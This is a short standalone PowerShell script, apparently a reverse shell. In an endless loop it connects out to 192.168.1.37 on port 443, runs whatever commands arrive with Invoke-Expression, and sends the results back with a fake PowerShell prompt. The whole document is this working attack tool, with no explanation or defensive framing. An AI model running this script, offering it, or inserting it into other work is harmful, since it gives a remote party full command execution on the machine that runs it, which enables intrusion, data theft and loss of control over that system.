$while = $true
while($while){
    $client = New-Object System.Net.Sockets.TCPClient('192.168.1.37',443);
    $stream = $client.GetStream();
    [byte[]]$bytes = 0..65535|%{0};
    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
        $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
        $send = (iex $data 2>&1 | Out-String );
        $sendback = $send + 'PS ' + (pwd).Path + '> ';
        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback);
        $stream.Write($sendbyte,0,$sendbyte.Length);
        $stream.Flush();
    }
    $client.Close();
}